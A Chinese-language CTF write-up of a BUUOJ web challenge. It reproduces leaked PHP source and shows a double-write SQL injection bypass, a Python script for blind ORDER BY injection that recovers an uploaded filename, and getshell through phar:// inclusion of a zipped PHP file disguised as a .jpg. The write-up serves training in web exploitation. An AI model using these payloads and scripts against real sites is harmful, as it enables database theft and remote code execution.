首先就一个登陆和注册。貌似没注入。
进去以后URL如下http://00f9d39c-5972-4a18-9744-2d59c6264341.node3.buuoj.cn/index.php?file=download
尝试用伪协议读取源码。无果
接着看功能发现有上传。只能上传jpg图片。
下载。有查看和收藏功能。查看就返回图片。收藏就下载
看看这个下载点能不能任意文件下载
这里是用id来下载。猜测数据库中插入了id/图片路径
后台sql语句应该类似于select path from image where id=1
那么我们尝试union select去修改结果
返回picture can't be find!。。语句是肯定对的。估计是被过滤了。
尝试双写绕过。成功。把源码都脱下来
index.php
<?php
#define("DIR_PERMITION",time());
include("config.php");
$_POST = d_addslashes($_POST);
$_GET = d_addslashes($_GET);
$file = isset($_GET['file'])?$_GET['file']:"home";
// echo $file;
if(preg_match('/\.\.|^[\s]*\/|^[\s]*php:|filter/i',$file)){
echo "<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\"></i>Attack Detected!</div>";
die();
}
$filename = $file.".php";
if(!include($filename)){
if(!isset($_SESSION['username'])||!isset($_SESSION['userid'])){
header("Location: index.php?file=login");
die();
}
?>
</body>
</html>
index.php中有一行$filename = $file.".php";
可以包含用伪协议getshell。
比如phar:// zip://
恰好这题有个文件上传功能。改后缀名就可以了。然后配合getshell
接着着重看upload.php
<?php
#defined("DIR_PERMITION") or die("Access denied!");
if(!isset($_SESSION['username'])||!isset($_SESSION['userid'])){
header("Location: index.php?file=login");
die();
}
if (isset($_FILES['file'])) {
$seed = rand(0,getrandmax());
mt_srand($seed);
if ($_FILES["file"]["error"] > 0) {
echo "<div class=\"msg error\" id=\"message\">
<i class=\"fa fa-exclamation-triangle\">uplpad file error!:".$_FILES["file"]["error"]."</i></div>";
die();
}
$fileTypeCheck = ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800));
$reg='/^gif|jpg|jpeg|png$/';
$fileExtensionCheck=!preg_match($reg,pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if($fileExtensionCheck){
die("Only upload image file!");
}
if($fileTypeCheck){
$fileOldName = addslashes(pathinfo($_FILES['file']['name'],PATHINFO_FILENAME));
$fileNewName = './Up10aDs/' . random_str() .'.'.pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION);
$userid = $_SESSION['userid'];
$sql= "insert into `download` (`uid`,`image_name`,`location`) values ($userid,'$fileOldName','$fileNewName')";
$res = $conn ->query($sql);
if($res&&move_uploaded_file($_FILES['file']['tmp_name'], $fileNewName)){
echo "<script>alert('file upload success!');window.location.href='index.php?file=home'</script>";
}else{
echo "<script>alert('file upload error')</script>";
}
}else{
echo "<script>alert('file type error');</script>";
}
}
?>
upload.php。首先检查文件类型和后缀名。
然后文件重命名为/Up10aDS/random_str().jpg
插入数据库。数据库结构为uid,image_name,location
那么我们得得到这个文件名。之前通过注入得到了源码。肯定也可以得到文件名
再回过头去看看过滤方法
<?php
error_reporting(0);
session_start();
$dbhost = "127.0.0.1";
$dbuser = "admin";
$dbpass = "password987~!@";
$dbname = "dsqli";
$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname);
$conn ->query("set names utf8");
function d_addslashes($array){
foreach($array as $key=>$value){
if(!is_array($value)){
!get_magic_quotes_gpc()&&$value=addslashes($value);
$array[$key]=$value;
}else{
$array[$key] = d_addslashes($array[$key]);
}
}
return $array;
}
function filter($id){
$id = strtolower($id);
$id = str_replace('select', '', $id);
$id = str_replace('update', '', $id);
$id = str_replace('insert', '', $id);
$id = str_replace('delete', '', $id);
$id = str_replace('and', '', $id);
$id = str_replace('or', '', $id);
$id = str_replace('where', '', $id);
$id = str_replace('union', '', $id);
$id = str_replace('like', '', $id);
$id = str_replace('regexp', '', $id);
$id = str_replace('is', '', $id);
$id = str_replace('=', '', $id);
$id = str_replace(',', '', $id);
$id = str_replace('|', '', $id);
$id = str_replace('&', '', $id);
$id = str_replace('!', '', $id);
$id = str_replace('%', '', $id);
$id = str_replace('^', '', $id);
$id = str_replace('<', '', $id);
$id = str_replace('>', '', $id);
$id = str_replace('*', '', $id);
$id = str_replace('(', '', $id);
$id = str_replace(')', '', $id);
return $id ;
}
function random_str($length = "32")
{
$set = array("a", "b", "c", "d", "e", "f",
"g", "h", "i", "j", "k", "l",
"m","n", "o", "p", "q", "r","s","t","u","v", "w","x",
"y","z","1", "2", "3", "4", "5", "6", "7", "8", "9");
$str = '';
for ($i = 1; $i <= $length; ++$i) {
$ch = mt_rand(0, count($set) - 1);
$str .= $set[$ch];
}
return $str;
}
都是替换为空。但是这里符号都被过滤了。
试了几个payload
substr(location,1,1)=0x61
#括号被过滤
strcmp(substr(location,1,1),0x61)
#括号被过滤
location regexp '^[a-z]'
#^被过滤
https://xz.aliyun.com/t/7169#toc-50
这篇文章真的棒。找到order by注入
我们可以构造select location from image where id=1 and union select 0x41 order by 1
当正确的值大于我们输入的值。那么就可以正常回显。
以下是脚本
import requests
url='http://00f9d39c-5972-4a18-9744-2d59c6264341.node3.buuoj.cn/downfile.php'
cookie={"Cookie":"PHPSESSID=vpn0ktp56hbod80nnm6869ro52"}
name='0x2e2f557031306144732f'
#已知的./Up10aDs/
r=requests.session()
for a in range(200):
for i in range(30,130):
data={"image":"4 ununionion selselectect "+name+hex(i)[2:]+" oorrder by 1",
"image_download":"%E6%94%B6%E8%97%8F"}
result=r.post(url=url,data=data,headers=cookie).text
#print (result)
if 'eval' in result:
name+=hex(i-1)[2:]
print(chr(i-1))
break
得到文件名。这里试了下system啥的都没用???也没禁用函数。我人傻了
解释下这个文件怎么生成的:
1.php压缩后得到1.zip
1.zip改名为1.jpg上传
由于包含时会自动加上.php后缀。最终包含的是phar://1.jpg/1.php
等同于1.zip/1.php